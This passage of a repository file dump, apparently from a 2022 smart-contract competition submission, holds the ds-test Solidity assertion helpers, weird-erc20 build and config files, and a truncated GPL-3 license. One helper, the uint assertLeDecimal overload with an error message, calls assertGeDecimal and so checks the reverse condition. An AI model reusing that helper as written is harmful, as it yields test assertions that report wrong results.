b, decimals);\n            emit log_named_decimal_int(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Expected\", b, decimals);\n            emit log_named_decimal_uint(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGt(uint a, uint b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(uint a, uint b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGt(int a, int b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(int a, int b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGe(uint a, uint b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(uint a, uint b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGe(int a, int b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(int a, int b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLt(uint a, uint b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(uint a, uint b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLt(int a, int b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(int a, int b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLe(uint a, uint b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(uint a, uint b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLe(int a, int b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(int a, int b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLeDecimal(a, b, decimals);\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertEq(string memory a, string memory b) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log(\"Error: a == b not satisfied [string]\");\n            emit log_named_string(\"  Value a\", a);\n            emit log_named_string(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertEq(string memory a, string memory b, string memory err) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {\n        ok = true;\n        if (a.length == b.length) {\n            for (uint i = 0; i < a.length; i++) {\n                if (a[i] != b[i]) {\n                    ok = false;\n                }\n            }\n        } else {\n            ok = false;\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b) internal {\n        if (!checkEq0(a, b)) {\n            emit log(\"Error: a == b not satisfied [bytes]\");\n            emit log_named_bytes(\"  Expected\", a);\n            emit log_named_bytes(\"    Actual\", b);\n            fail();\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b, string memory err) internal {\n        if (!checkEq0(a, b)) {\n            emit log_named_string(\"Error\", err);\n            assertEq0(a, b);\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/.envrc",
    "content": "eval \"$(lorri direnv)\"\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/.gitattributes",
    "content": "*.sol linguist-language=Solidity\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/.gitignore",
    "content": "/out\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/.gitmodules",
    "content": "[submodule \"lib/ds-test\"]\n\tpath = lib/ds-test\n\turl = https://github.com/dapphub/ds-test\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/Makefile",
    "content": "build:\n\texport DAPP_SOLC=solc-0.6.12; dapp build\n\texport DAPP_SOLC=solc-0.7.6; dapp build\n\texport DAPP_SOLC=solc-0.8.6; dapp build\ntest:\n\tDAPP_SOLC=solc-0.8.6; dapp test\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/lib/ds-test/.gitignore",
    "content": "/.dapple\n/build\n/out\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/lib/ds-test/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a 